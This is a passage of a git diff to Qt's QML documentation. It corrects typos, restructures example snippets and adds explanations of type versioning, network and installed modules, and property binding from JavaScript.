+\section1 Add-On Elements
+These elements are not included in the \c{QtQuick 1.0} module. Their respective QML bindings
+should first be obtained and installed.
+\list
+\o \l{WebView}{QtWebKit QML Module - WebView Element} - For displaying Web contents
+\o \l{http://doc.qt.nokia.com/qtmobility-1.1.0/qml-plugins.html}{Mobility QML Plugins}
+\endlist
+
*/
@@ -148,7 +191,7 @@
\group qml-groups
\title Groups Of Related QML Elements
- \brief If you know what kind of QML element you want (Basic Visual,
+ \brief If you know what kind of QML element you want (Basic Visual,
Interaction, Animation, etc), look here.
This is a list of functional groups of QML elements.
diff --git a/doc/src/declarative/example-slideswitch.qdoc b/doc/src/declarative/example-slideswitch.qdoc
index 7b8cb5e..27c8f58 100644
--- a/doc/src/declarative/example-slideswitch.qdoc
+++ b/doc/src/declarative/example-slideswitch.qdoc
@@ -60,8 +60,16 @@ It can be used to activate/disactivate the switch or to query its current state.
In this example:
\qml
-Switch { id: mySwitch; on: true }
-Text { text: "The switch is on"; visible: mySwitch.on == true }
+Item {
+ Switch {
+ id: mySwitch
+ on: true
+ }
+ Text {
+ text: "The switch is on"
+ visible: mySwitch.on == true
+ }
+}
\endqml
the text will only be visible when the switch is on.
diff --git a/doc/src/declarative/examples.qdoc b/doc/src/declarative/examples.qdoc
index e03557b..be2d0c7 100644
--- a/doc/src/declarative/examples.qdoc
+++ b/doc/src/declarative/examples.qdoc
@@ -136,7 +136,8 @@ The examples can be found in Qt's \c examples/declarative directory.
\section2 Positioners
\list
-\o \l{declarative/positioners}{Example}
+\o \l{declarative/positioners/addandremove}{Adding and Removing Items}
+\o \l{declarative/positioners/layoutdirection}{Layout Direction}
\endlist
\section2 Key Interaction
diff --git a/doc/src/declarative/extending.qdoc b/doc/src/declarative/extending.qdoc
index 8705c5b..80b6e72 100644
--- a/doc/src/declarative/extending.qdoc
+++ b/doc/src/declarative/extending.qdoc
@@ -51,7 +51,7 @@ to either instantiating an object instance, or assigning a property a value.
QML relies heavily on Qt's meta object system and can only instantiate classes
that derive from QObject. For visual element types, this will usually mean a subclass
of QDeclarativeItem; for models used with the view elements, a subclass of QAbstractItemModel;
-and for abitrary objects with properties, a direct subclass of QObject.
+and for arbitrary objects with properties, a direct subclass of QObject.
The QML engine has no intrinsic knowledge of any class types. Instead the
programmer must register the C++ types with their corresponding QML names.
@@ -112,6 +112,75 @@ Person {
\l {Extending QML - Adding Types Example} shows the complete code used to create
the \c Person type.
+\section1 QML Type Versioning
+
+In C++ adding a new method or property cannot break old applications.
+In QML, however, new methods and properties can change what a name previously
+resolved to to within a scope chain.
+
+For example, consider these two QML files
+
+\code
+// main.qml
+import QtQuick 1.0
+Item {
+ id: root
+ MyComponent {}
+}
+\endcode
+
+\code
+// MyComponent.qml
+import MyModule 1.0
+CppItem {
+ value: root.x
+}
+\endcode
+
+where CppItem maps to the C++ class QCppItem.
+
+If the author of QCppItem adds a "root" property to QCppItem in a new version of the module,
+it will break the above program as \c root.x now resolves to a different value.
+The solution is to allow the author of QCppItem to state that the new \c root property is
+only available from a particular version of QCppItem onwards. This permits new properties
+and features to be added to existing elements without breaking existing programs.
+
+QML enables this by allowing the properties, methods and signals of a class to be tagged with
+a particular \e revision, so that they are only accessible if the relevant module version
+is imported. In this case, the author can tag the \c root property as being added in
+\e {revision 1} of the class, and register that revision in version 1.1 of the module.
+
+The REVISION tag is used to mark the \c root property as added in revision 1 of the class.
+Methods such as Q_INVOKABLE's, signals and slots can also be tagged for a
+revision using the \c Q_REVISION(x) macro:
+
+\code
+class CppItem : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int root READ root WRITE setRoot NOTIFY rootChanged REVISION 1)
+
+signals:
+ Q_REVISION(1) void rootChanged();
+};
+\endcode
+
+To register the new class revision to a particular version the following function is used:
+
+\code
+template<typename T, int metaObjectRevision>
+int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName)
+\endcode
+
+To register \c CppItem version 1 for \c {MyModule 1.1}:
+
+\code
+qmlRegisterType<QCppItem,1>("MyModule", 1, 1, "CppItem")
+\endcode
+
+\c root is only available when MyModule 1.1 is imported.
+
+
\section1 Object and List Property Types
\snippet examples/declarative/cppextensions/referenceexamples/properties/example.qml 0
@@ -453,7 +522,7 @@ The \c {invite()} method is similarly available if it is declared as a slot.
\snippet examples/declarative/cppextensions/referenceexamples/valuesource/example.qml 0
\snippet examples/declarative/cppextensions/referenceexamples/valuesource/example.qml 1
-The QML snippet shown above applies a property value source to the \c announcment property.
+The QML snippet shown above applies a property value source to the \c announcement property.
A property value source generates a value for a property that changes over time.
Property value sources are most commonly used to do animation. Rather than
@@ -493,7 +562,7 @@ assignment fails does the engine call the \l {QDeclarativePropertyValueSource::}
the type to also be used in contexts other than just as a value source.
\l {Extending QML - Property Value Source Example} shows the complete code used
-implement the \c HappyBirthdaySong property value source.
+to implement the \c HappyBirthdaySong property value source.
\section1 Property Binding
@@ -733,12 +802,14 @@ It is optional for a property to have a default value. The default value is a co
behaviorally identical to doing it in two steps, like this:
\qml
-// Use default value
-property int myProperty: 10
+Item {
+ // Use default value
+ property int myProperty: 10
-// Longer, but behaviorally identical
-property int myProperty
-myProperty: 10
+ // Longer, but behaviorally identical
+ property int myProperty
+ myProperty: 10
+}
\endqml
@@ -769,9 +840,11 @@ QML object types can also be used as property types. This includes
defined like this:
\qml
-property Item itemProperty
-property QtObject objectProperty
-property MyCustomType customProperty
+Item {
+ property Item itemProperty
+ property QtObject objectProperty
+ property MyCustomType customProperty
+}
\endqml
Such object-type properties default to an \c undefined value.
@@ -784,7 +857,9 @@ see the \l {variant}{variant type documentation} for details.
list:
\qml
-property list<Item> listOfItems
+Item {
+ property list<Item> listOfItems
+}
\endqml
Note that list properties cannot be modified like ordinary JavaScript
@@ -825,7 +900,7 @@ If the \l{Item::children}{children} property was not the default property for
\qml
Item {
children: [
- Rectangle {}
+ Rectangle {},
Rectangle {}
]
}
@@ -1075,7 +1150,7 @@ code removes the connection created in \c application.qml above:
\qml
// application.qml
Item {
- ...
+ // ...
function removeSignal() {
button.clicked.disconnect(item.myMethod)
@@ -1100,5 +1175,4 @@ MouseArea {
Whenever the \l MouseArea \c clicked signal is emitted, the \c rect.buttonClicked signal will
automatically be emitted as well.
-
*/
diff --git a/doc/src/declarative/globalobject.qdoc b/doc/src/declarative/globalobject.qdoc
index 8671b48..85a3a25 100644
--- a/doc/src/declarative/globalobject.qdoc
+++ b/doc/src/declarative/globalobject.qdoc
@@ -48,7 +48,7 @@ data from over a network.
The XMLHttpRequest API implements the same \l {http://www.w3.org/TR/XMLHttpRequest/}{W3C standard}
as many popular web browsers with following exceptions:
\list
-\i QML's XMLHttpRequest does not enforce the same origin policty.
+\i QML's XMLHttpRequest does not enforce the same origin policy.
\i QML's XMLHttpRequest does not support \e synchronous requests.
\endlist
@@ -77,7 +77,7 @@ browser. The following objects and properties are supported by the QML implemen
\o lastChild
\o previousSibling
\o nextSibling
-\o attribtes
+\o attributes
\endlist
\o
@@ -141,8 +141,9 @@ using the Offline Storage API.
\section3 db = openDatabaseSync(identifier, version, description, estimated_size, callback(db))
Returns the database identified by \e identifier. If the database does not already exist, it
-is created with the properties \e description and \e estimated_size and the function \e callback
-is called with the database as a parameter.
+is created, and the function \e callback is called with the database as a parameter. \e description
+and \e estimated_size are written to the INI file (described below), but are otherwise currently
+unused.
May throw exception with code property SQLException.DATABASE_ERR, or SQLException.VERSION_ERR.
@@ -153,7 +154,7 @@ When a database is first created, an INI file is also created specifying its cha
\row \o Name \o The name of the database passed to \c openDatabase()
\row \o Version \o The version of the database passed to \c openDatabase()
\row \o Description \o The description of the database passed to \c openDatabase()
-\row \o EstimatedSize \o The estimated size of the database passed to \c openDatabase()
+\row \o EstimatedSize \o The estimated size (in bytes) of the database passed to \c openDatabase()
\row \o Driver \o Currently "QSQLITE"
\endtable
diff --git a/doc/src/declarative/javascriptblocks.qdoc b/doc/src/declarative/javascriptblocks.qdoc
index d221205..65877f9 100644
--- a/doc/src/declarative/javascriptblocks.qdoc
+++ b/doc/src/declarative/javascriptblocks.qdoc
@@ -200,37 +200,12 @@ Likewise, the \l {Component::onDestruction} attached property is triggered on
component destruction.
-\section1 Property Assignment vs Property Binding
+\section1 JavaScript and Property Binding
-When working with both QML and JavaScript, it is important to differentiate between
-QML \l {Property Binding} and JavaScript value assignment. In QML, a property
-binding is created using the \e {property: value} syntax:
+Property bindings can be created in JavaScript by assigning the property with a \c function
+that returns the required value.
-\code
-Rectangle {
- width: otherItem.width
-}
-\endcode
-
-The \c width of the above \l Rectangle is updated whenever \c otherItem.width changes. On the other
-hand, take the following JavaScript code snippet, that runs when the \l Rectangle is created:
-
-\code
-Rectangle {
-
- Component.onCompleted: {
- width = otherItem.width;
- }
-}
-\endcode
-
-The \c width of this \l Rectangle is \e assigned the value of \c otherItem.width using the
-\e {property = value} syntax in JavaScript. Unlike the QML \e {property: value} syntax, this
-does not invoke QML property binding; the \c rectangle.width property is set to the value
-of \c otherItem.width at the time of the assignment and will not be updated if that value
-changes.
-
-See \l {Property Binding} for more information.
+See \l {Binding Properties from JavaScript} for details.
\section1 Receiving QML Signals in JavaScript
@@ -315,10 +290,13 @@ This restriction exists as the QML environment is not yet fully established.
To run code after the environment setup has completed, refer to
\l {Running JavaScript at Startup}.
-\o The value of \c this is currently undefined in QML
+\o The value of \c this is currently undefined in QML in the majority of contexts
+
+The \c this keyword is supported when \l {Binding Properties from JavaScript}
+{binding properties from JavaScript}. In all other situations, the value of
+\c this is undefined in QML.
-The value of \c this is undefined in QML. To refer to any element, provide
-an \c id. For example:
+To refer to any element, provide an \c id. For example:
\qml
Item {
diff --git a/doc/src/declarative/modules.qdoc b/doc/src/declarative/modules.qdoc
index 1dca28c..f1ebd00 100644
--- a/doc/src/declarative/modules.qdoc
+++ b/doc/src/declarative/modules.qdoc
@@ -44,7 +44,7 @@ example, an \c import statement is required to use:
\list
\o A component defined in another QML file that is not in the same directory
\o A component defined in a QML file located on a remote server
-\o A \l{QDeclarativeExtensionPlugin}{QML C++ plugin} library (unless the plugin is installed in the same directory)
+\o A \l{QDeclarativeExtensionPlugin}{QML extension plugin} library (unless the plugin is installed in the same directory)
\o A JavaScript file (note this must be imported using \l {#namespaces}{named imports})
\endlist
@@ -52,7 +52,7 @@ An \c import statement includes the module name, and possibly a version number.
This can be seen in the snippet commonly found at the top of QML files:
\qml
- import QtQuick 1.0
+import QtQuick 1.0
\endqml
This imports version 1.0 of the "QtQuick" module into the global namespace. (The QML
@@ -61,12 +61,12 @@ are not included in the global namespace by default.)
The \c Qt module is an \e installed module; it is found in the
\l{The QML import path}{import path}. There are two types of QML modules:
-location modules (defined by a URL) and installed modules (defined by a URI).
+located modules (defined by a URL) and installed modules (defined by a URI).
-\section1 Location Modules
+\section1 Located Modules
-Location modules can reside on the local filesystem or a network resource,
+Located modules can reside on the local filesystem or a network resource,
and are referred to by a quoted location URL that specifies the filesystem
or network URL. They allow any directory with QML content to be imported
as a module, whether the directory is on the local filesystem or a remote
@@ -86,8 +86,9 @@ directory using a relative or absolute path, like this:
\code
MyQMLProject
|- MyComponents
- |- Slider.qml
|- CheckBox.qml
+ |- Slider.qml
+ |- Window.qml
|- Main
|- application.qml
\endcode
@@ -96,8 +97,10 @@ MyQMLProject
\code
import "../MyComponents"
-Slider { ... }
-CheckBox { ... }
+Window {
+ Slider { ... }
+ CheckBox { ... }
+}
\endcode
\endtable
@@ -106,23 +109,51 @@ Similarly, if the directory resided on a network source, it could
be imported like this:
\code
- import "https://qml.nokia.com/qml/qmlcomponents"
- import "https://qml.nokia.com/qml/qmlcomponents" 1.0
+ import "http://www.my-server.com/MyQMLProject/MyComponents"
+ import "http://www.my-server.com/MyQMLProject/MyComponents" 1.0
+\endcode
+
+A located module can also be imported as a network resource if it has a
+\l{Writing a qmldir file}{qmldir file} in the directory that specifies the QML files
+to be made available by the module. For example, if the \c MyComponents directory
+contained a \c qmldir file defined like this:
+
+\code
+Slider 1.0 Slider.qml
+CheckBox 1.0 CheckBox.qml
+Window 1.0 Window.qml
\endcode
-Remote location modules must have a \l{Writing a qmldir file}{qmldir file} in the
-same directory to specify which QML files should be made available. See the
-\l {#qmldirexample}{example} below. The qmldir file is optional for modules on
-the local filesystem.
+If the \c MyComponents directory was then hosted as a network resource, it could
+be imported as a module, like this:
+
+\code
+import "http://the-server-name.com/MyQMLProject/MyComponents"
+
+Window {
+ Slider { ... }
+ CheckBox { ... }
+}
+\endcode
+
+with an optional "1.0" version specification. Notice the import would fail if
+a later version was used, as the \c qmldir file specifies that these elements
+are only available in the 1.0 version.
+Note that modules imported as a network resource allow only access to components
+defined in QML files; components defined by C++ \l{QDeclarativeExtensionPlugin}{QML extension plugins}
+are not available.
\section1 Installed modules
+Installed modules are modules that are made available through the QML import path,
+as defined by QDeclarativeEngine::importPathList(), or modules defined within
+C++ application code. An installed module is referred to by a URI, which allows
+the module to be imported from QML code without specifying a complete filesystem
+path or network resource URL.
-Installed modules are modules that are installed on the
-local filesystem within the QML import path, or modules defined in C++
-application code. When importing an installed module, an un-quoted URI is
+When importing an installed module, an un-quoted URI is
used, with a mandatory version number:
\code
@@ -130,15 +161,23 @@ used, with a mandatory version number:
import com.nokia.qml.mymodule 1.0
\endcode
-Installed modules that are installed into the import path or created
-as a \l{QDeclarativeExtensionPlugin}{QML C++ plugin} must define a
-\l{Writing a qmldir file}{qmldir file}.
+When a module is imported, the QML engine searches the QML import path for a matching
+module. The root directory of the module must contain a
+\l{Writing a qmldir file}{qmldir file} that defines the QML files
+and/or C++ QML extension plugins that are made available to the module.
+Modules that are installed into the import path translate the URI into
+directory names. For example, the qmldir file of the module \c com.nokia.qml.mymodule
+must be located in the subpath \c com/nokia/qml/mymodule/qmldir somewhere in the
+QML import path. In addition it is possible to store different versions of the
+module in subdirectories of its own. For example, a version 2.1 of the
+module could be located under \c com/nokia/qml/mymodule.2/qmldir or
+\c com/nokia/qml/mymodule.2.1/qmldir. The engine will automatically load
+the module which matches best.
-\section2 The QML import path
-
-The QML engine will search the import path for a requested installed module.
-The default import path includes:
+The import path, as returned by QDeclarativeEngine::importPathList(), defines the default
+locations to be searched by the QML engine for a matching module. By default, this list
+contains:
\list
\o The directory of the current file
@@ -146,30 +185,80 @@ The default import path includes:
\o Paths specified by the \c QML_IMPORT_PATH environment variable
\endlist
-The import path can be queried using QDeclarativeEngine::importPathList() and modified using QDeclarativeEngine::addImportPath().
+Additional import paths can be added through QDeclarativeEngine::addImportPath() or the
+\c QML_IMPORT_PATH environment variable. When running the \l {QML Viewer}, you
+can also use the \c -I option to add an import path.
+
+
+\section2 Creating installed modules
+
+As an example, suppose the \c MyQMLProject directory in the \l{Located Modules}{previous example}
+was located on the local filesystem at \c C:\qml\projects\MyQMLProject. The \c MyComponents
+subdirectory could be made available as an installed module by adding a
+\l{Writing a qmldir file}{qmldir file} to the \c MyComponents directory that looked like this:
+
+\code
+Slider 1.0 Slider.qml
+CheckBox 1.0 CheckBox.qml
+Window 1.0 Window.qml
+\endcode
+
+Providing the path \c C:\qml is added to the QML import path using any of the methods listed previously,
+a QML file located anywhere on the local filesystem can then import the module as shown below,
+without referring to the module's absolute filesystem location:
+
+\qml
+import projects.MyQMLProject.MyComponents 1.0
+
+Window {
+ Slider { ... }
+ CheckBox { ... }
+}
+\endqml
+
+Installed modules are also accessible as a network resource. If the \c C:\qml directory was hosted
+as \c http://www.some-server.com/qml and this URL was added to the QML import path, the above
+QML code would work just the same.
-When running the \l {QML Viewer}, use the \c -I option to add paths to the import path.
+Note that modules imported as a network resource allow only access to components
+defined in QML files; components defined by C++ \l{QDeclarativeExtensionPlugin}{QML extension plugins}
+are not available.
\section2 Creating installed modules in C++
-C++ applications can dynamically define installed modules using
-qmlRegisterType().
+C++ applications can define installed modules directly within the application using qmlRegisterType().
+For example, the \l {Tutorial: Writing QML extensions with C++}{Writing QML extensions with C++ tutorial}
+defines a C++ class named \c PieChart and makes this type available to QML by calling qmlRegisterType():
+
+\qml
+qmlRegisterType<PieChart>("Charts", 1, 0, "PieChart");
+\endqml
-For \l{QDeclarativeExtensionPlugin}{QML C++ plugins}, the
-module URI is automatically passed to QDeclarativeExtensionPlugin::registerTypes().
-The QDeclarativeExtensionPlugin documentation shows how to use this URI
-to call qmlRegisterType() to enable the plugin library to be built as
-an installed module. Once the plugin is built and installed, the module is importable
-in QML, like this:
+This allows the application's QML files to use the \c PieChart type by importing the declared
+\c Charts module:
+
+\qml
+import Charts 1.0
+\endqml
+
+For \l{QDeclarativeExtensionPlugin}{QML plugins}, the
+module URI is automatically passed to QDeclarativeExtensionPlugin::registerTypes(). This method
+can be reimplemented by the developer to register the necessary types for the module. Below is the
+\c registerTypes() implementation from the \l{declarative/cppextensions/plugins}{QML plugins}
+example:
+
+\snippet examples/declarative/cppextensions/plugins/plugin.cpp plugin
+
+Once the plugin is built and installed, and includes a \l{Writing a qmldir file}{qmldir file},
+the module can be imported from QML, like this:
\code
import com.nokia.TimeExample 1.0
\endcode
-A \l{QDeclarativeExtensionPlugin}{QML C++ plugin} also requires a
-\l{Writing a qmldir file}{qmldir file} to make it available to the
-QML engine.
+Unlike QML types defined by QML files, a QML type defined in a C++ extension plugin cannot be loaded by
+a module that is imported as a network resource.
@@ -224,7 +313,7 @@ Unlike ordinary modules, multiple scripts cannot be imported into the same names
A \c qmldir file is a metadata file for a module that maps all type names in
the module to versioned QML files. It is required for installed modules, and
-location modules that are loaded from a network source.
+located modules that are loaded from a network source.
It is defined by a plain text file named "qmldir" that contains one or more lines of the form:
@@ -274,37 +363,6 @@ containing the plugin file. By default the engine searches for the plugin librar
file. The plugin search path can be queried with QDeclarativeEngine::pluginPathList() and modified using QDeclarativeEngine::addPluginPath(). When running the \l {QML Viewer}, use the \c -P option to add paths to the plugin search path.
-\target qmldirexample
-\section2 Example
-
-If the components in the \c MyComponents directory from the
-\l{Location Modules}{earlier example} were to be made available as a network resource,
-the directory would need to contain a \c qmldir file similar to this:
-
-\code
-ComponentA 1.0 ComponentA.qml
-ComponentB 1.0 ComponentB.qml
-\endcode
-
-The \c MyComponents directory could then be imported as a module using:
-
-\code
-import "http://the-server-name.com/MyComponents"
-
-Slider { ... }
-CheckBox { ... }
-\endcode
-
-with an optional "1.0" version specification. Notice the import fails if
-a later version is used, as the \c qmldir file specifies that these elements
-are only available in the 1.0 version.
-
-
-For examples of \c qmldir files for plugins, see the
-\l {declarative/cppextensions/plugins}{Plugins} example and
-\l {Tutorial: Writing QML extensions with C++}.
-
-
\section1 Debugging
The \c QML_IMPORT_TRACE environment variable can be useful for debugging
diff --git a/doc/src/declarative/positioners.qdoc b/doc/src/declarative/positioners.qdoc
index 387f390..5493d4a 100644
--- a/doc/src/declarative/positioners.qdoc
+++ b/doc/src/declarative/positioners.qdoc
@@ -53,9 +53,9 @@ graphical elements:
\section2 Column
-\beginfloatright
-\image qml-column.png
-\endfloat
+\div{float-right}
+\inlineimage qml-column.png
+\enddiv
\l Column items are used to vertically arrange items. The following example
uses a Column item to arrange three \l Rectangle items in an area defined
@@ -70,9 +70,9 @@ must be added to a parent Rectangle, if desired.
\section2 Row
-\beginfloatright
-\image qml-row.png
-\endfloat
+\div{float-right}
+\inlineimage qml-row.png
+\enddiv
\l Row items are used to horizontally arrange items. The following example
uses a Row item to arrange three rounded \l Rectangle items in an area defined
@@ -87,9 +87,9 @@ left around the edges of the horizontally centered Row item.
\section2 Grid
-\beginfloatright
-\image qml-grid-spacing.png
-\endfloat
+\div{float-right}
+\inlineimage qml-grid-spacing.png
+\enddiv
\l Grid items are used to place items in a grid or table arrangement.
The following example uses a Grid item to place four \l Rectangle items
@@ -108,10 +108,10 @@ at the appropriate places in the Grid definition.
\section2 Flow
-\beginfloatright
-\image qml-flow-text1.png
-\image qml-flow-text2.png
-\endfloat
+\div{float-right}
+\inlineimage qml-flow-text1.png
+\inlineimage qml-flow-text2.png
+\enddiv
\l Flow items are used to place items like words on a page, with rows or
columns of non-overlapping items.
@@ -137,9 +137,9 @@ control of spacing between items and between lines of items.
\section1 Repeaters
-\beginfloatright
-\image qml-repeater-grid-index.png
-\endfloat
+\div{float-right}
+\inlineimage qml-repeater-grid-index.png
+\enddiv
Repeaters create items from a template for use with positioners, using data
from a model. Combining repeaters and positioners is an easy way to lay out
diff --git a/doc/src/declarative/propertybinding.qdoc b/doc/src/declarative/propertybinding.qdoc
index 2fa95d4..379a4ec 100644
--- a/doc/src/declarative/propertybinding.qdoc
+++ b/doc/src/declarative/propertybinding.qdoc
@@ -95,44 +95,109 @@ Rectangle {
\endcode
-\section1 Effects of Property Assignment in JavaScript
+\section1 Binding Properties from JavaScript
-Assigning a property value from JavaScript does \e not create a property binding.
-For example:
+When working with both QML and JavaScript, it is important to differentiate between
+\l {Property Binding} syntax in QML and simple \e {property assignment} in JavaScript. Take
+the example below, which uses property binding to ensure the item's \c height is always twice
+its \c width:
+
+\qml
+Item {
+ width: 100
+ height: width * 2
+}
+\endqml
+
+On the other hand, take the following JavaScript code snippet, which \e assigns, rather
+than \e binds, the value of the \c height property:
\code
-Rectangle {
+Item {
+ width: 100
Component.onCompleted: {
- width = otherItem.width;
+ height = width * 2 // if width changes later, height is not updated!
}
}
\endcode
-Instead of creating a property binding, this simply sets the \c width of the \l Rectangle
-to the value of \c other.width at the time the JavaScript code is invoked. See
-\l {Property Assignment vs Property Binding} for more details.
+Instead of creating a property binding, this simply sets the \c height property to the correct
+value \e {at the time that} the JavaScript code is invoked. Unlike the first example, the
+\c height will never change if \c width changes.
+
+The \e {property : value} syntax for property binding is QML-specific and cannot be used in
+JavaScript. Instead, to bind a property from JavaScript, assign a \e function to the property
+that returns the required value. The following code correctly sets the property binding
+created in the first example, but creates the binding in JavaScript rather than QML:
+
+\qml
+Item {
+ width: 100
+
+ Component.onCompleted: {
+ height = (function() { return width * 2 })
+ }
+}
+\endqml
+
+
+\section2 Using \c this to create a binding
+
+When creating a property binding from JavaScript, QML allows the use of the \c this keyword to
+refer to the object to which the property binding will be assigned. This allows one to
+explicitly refer to a property within an object when there may be ambiguity about the exact
+property that should be used for the binding.
-Also note that assigning a value to a property that is currently bound will remove the binding.
-A property can only have one value at a time, and if any code explicitly sets
-this value, the binding is removed. The \l Rectangle in the example below will have
-a width of 13, regardless of the \c otherItem's width.
+For example, the \c Component.onCompleted handler below is defined within the scope of the
+\l Item, and references to \c width within this scope would refer to the \l Item's width, rather
+than that of the \l Rectangle. To bind the \l Rectangle's \c height to its own \c width, the
+function needs to explicitly refer to \c this.width rather than just \c width. Otherwise, the
+height of the \l Rectangle would be bound to the width of the \l Item and not the \l Rectangle.
+
+\qml
+Item {
+ width: 500
+ height: 500
+
+ Rectangle {
+ id: rect
+ width: 100
+ color: "yellow"
+ }
+
+ Component.onCompleted: {
+ rect.height = (function() { return this.width * 2 })
+ }
+}
+\endqml
+
+(In this case, the function could also have referred to \c rect.width rather than \c this.width.)
+
+Note that the value of \c this is not defined outside of its use in property binding.
+See \l {QML JavaScript Restrictions} for details.
+
+
+\section2 Effects of property assignment
+
+Note that assigning a value to a property that is currently bound will remove the binding.
+A property can only have one value at a time, and if any code explicitly sets this value, the
+binding is removed. In the following example, although \c width has been bound to \c height,
+the binding is removed by the JavaScript code that assigns \c width to 50:
\code
-Rectangle {
- width: otherItem.width
+Item {
+ width: height * 2
+ height: 100
Component.onCompleted: {
- width = 13;
+ width = 50;
}
}
\endcode
-There is no way to create a property binding directly from imperative JavaScript code,
-although it is possible to set up a \l Binding object (shown below).
-
-\section1 Binding Element
+\section1 The Binding Element
The implicit binding syntax shown previously is easy to use and works perfectly for most uses
of bindings. In some advanced cases, it is necessary to create bindings explicitly using the
diff --git a/doc/src/declarative/qdeclarativeintro.qdoc b/doc/src/declarative/qdeclarativeintro.qdoc
index 61241c5..02692de 100644
--- a/doc/src/declarative/qdeclarativeintro.qdoc
+++ b/doc/src/declarative/qdeclarativeintro.qdoc
@@ -27,7 +27,7 @@
/*!
\page qdeclarativeintroduction.html
-\title Introduction to the QML language
+\title Introduction to the QML Language
\tableofcontents
@@ -45,7 +45,7 @@ technologies like HTML and CSS, but it's not required.
QML looks like this:
-\code
+\qml
import QtQuick 1.0
Rectangle {
@@ -58,7 +58,7 @@ Rectangle {
anchors.centerIn: parent
}
}
-\endcode
+\endqml
Here we create two objects, a \l Rectangle object and its child
\l Image object. Objects are specified by their type, followed by a pair of
@@ -71,18 +71,18 @@ value \c "pics/logo.png". The property and its value are separated by a colon.
Properties can be specified one-per-line:
-\code
+\qml
Rectangle {
width: 100
height: 100
}
-\endcode
+\endqml
or you can put multiple properties on a single line:
-\code
+\qml
Rectangle { width: 100; height: 100 }
-\endcode
+\endqml
When multiple property/value pairs are specified on a single line, they
must be separated by a semicolon.
@@ -92,7 +92,6 @@ standard \l {QML Elements}. Without this import statement, the \l Rectangle
and \l Image elements would not be available.
-
\section1 Comments
Commenting in QML is similar to JavaScript.
@@ -110,19 +109,19 @@ your QML files.
Comments can also be used to prevent the execution of code, which is
sometimes useful for tracking down problems.
-\code
+\qml
Text {
text: "Hello world!"
//opacity: 0.5
}
-\endcode
+\endqml
In the above example, the \l Text object will have normal opacity, since the
line opacity: 0.5 has been turned into a comment.
-\section1 Object identifiers
+\section1 Object Identifiers
Each object can be given a special \e id value that allows the object to be identified
and referred to by other objects.
@@ -161,19 +160,19 @@ characters other than letters, numbers and underscores.
JavaScript expressions can be used to assign property values. For example:
-\code
+\qml
Item {
width: 100 * 3
height: 50 + 22
}
-\endcode
+\endqml
These expressions can include references to other objects and properties, in which case
a \l{Property Binding}{binding} is established: when the value of the expression changes,
the property to which the expression is assigned is automatically updated to the
new value. For example:
-\code
+\qml
Item {
width: 300
height: 300
@@ -184,7 +183,7 @@ Item {
color: "yellow"
}
}
-\endcode
+\endqml
Here, the \l Rectangle object's \c width property is set relative to the width
of its parent. Whenever the parent's width changes, the width of the \l Rectangle is
@@ -195,19 +194,19 @@ automatically updated.
\section1 Properties
\target intro-properties
-\section2 Basic property types
+\section2 Basic Property Types
QML supports properties of many types (see \l{QML Basic Types}). The basic types include \c int,
\c real, \c bool, \c string and \c color.
-\code
+\qml
Item {
x: 10.5 // a 'real' property
state: "details" // a 'string' property
focus: true // a 'bool' property
- ...
+ // ...
}
-\endcode
+\endqml
QML properties are what is known as \e type-safe. That is, they only allow you to assign a value that
matches the property type. For example, the \c x property of item is a real, and if you try to assign
@@ -223,7 +222,7 @@ Note that with the exception of \l {Attached Properties}, properties always begi
letter.
-\section2 Property change notifications
+\section2 Property Change Notifications
When a property changes value, it can send a signal to notify others of this change.
@@ -249,52 +248,52 @@ Signal handlers are explained further \l {Signal Handlers}{below}.
List properties look like this:
-\code
+\qml
Item {
children: [
Image {},
Text {}
]
}
-\endcode
+\endqml
The list is enclosed in square brackets, with a comma separating the
list elements. In cases where you are only assigning a single item to a
list, you can omit the square brackets:
-\code
+\qml
Image {
children: Rectangle {}
}
-\endcode
+\endqml
Items in the list can be accessed by index. See the \l{list}{list type} documentation
for more details about list properties and their available operations.
-\section2 Default properties
+\section2 Default Properties
Each object type can specify one of its list or object properties as its default property.
If a property has been declared as the default property, the property tag can be omitted.
For example this code:
-\code
+\qml
State {
changes: [
PropertyChanges {},
PropertyChanges {}
]
}
-\endcode
+\endqml
can be simplified to:
-\code
+\qml
State {
PropertyChanges {}
PropertyChanges {}
}
-\endcode
+\endqml
because \c changes is the default property of the \c State type.
@@ -331,7 +330,7 @@ element that attaches \e property.
For example, the \l ListView element attaches the \e ListView.isCurrentItem property
to each delegate it creates:
-\code
+\qml
Component {
id: myDelegate
Text {
@@ -339,21 +338,24 @@ Component {
color: ListView.isCurrentItem ? "red" : "blue"
}
}
+\endqml
+
+\qml
ListView {
delegate: myDelegate
}
-\endcode
+\endqml
Another example of attached properties is the \l Keys element which
attaches properties for handling key presses to
any visual Item, for example:
-\code
+\qml
Item {
focus: true
Keys.onSelectPressed: console.log("Selected")
}
-\endcode
+\endqml
\section1 Signal Handlers
@@ -362,7 +364,7 @@ example, the \l MouseArea element has an \l {MouseArea::}{onClicked} handler tha
be used to respond to a mouse click. Below, we use this handler to print a
message whenever the mouse is clicked:
-\code
+\qml
Item {
width: 100; height: 100
@@ -373,7 +375,7 @@ Item {
}
}
}
-\endcode
+\endqml
All signal handlers begin with \e "on".
@@ -382,7 +384,7 @@ the MouseArea \l{MouseArea::}{onPressed} signal handler has a \c mouse parameter
that contains information about the mouse press. This parameter can be referred to in
the JavaScript code, as below:
-\code
+\qml
MouseArea {
acceptedButtons: Qt.LeftButton | Qt.RightButton
onPressed: {
@@ -390,7 +392,5 @@ MouseArea {
console.log("Right mouse button pressed")
}
}
-\endcode
-
-
+\endqml
*/
diff --git a/doc/src/declarative/qdeclarativemodels.qdoc b/doc/src/declarative/qdeclarativemodels.qdoc
index 0b4b67d..9409eaf 100644
--- a/doc/src/declarative/qdeclarativemodels.qdoc
+++ b/doc/src/declarative/qdeclarativemodels.qdoc
@@ -161,7 +161,7 @@ while QAbstractItemModel provides a more flexible solution for more complex
models.
-\section2 QStringList
+\section2 QStringList-based model
A model may be a simple QStringList, which provides the contents of the list via the \e modelData role.
@@ -182,7 +182,7 @@ have changed. If the QStringList changes, it will be necessary to reset
the model by calling QDeclarativeContext::setContextProperty() again.
-\section2 QList<QObject*>
+\section2 QObjectList-based model
A list of QObject* values can also be used as a model. A QList<QObject*> provides
the properties of the objects in the list as roles.
@@ -281,7 +281,7 @@ with models of type QAbstractItemModel:
\endlist
-\section2 Exposing C++ data models to QML
+\section2 Exposing C++ Data Models to QML
The above examples use QDeclarativeContext::setContextProperty() to set
model values directly in QML components. An alternative to this is to
@@ -313,7 +313,9 @@ MyModel {
id: myModel
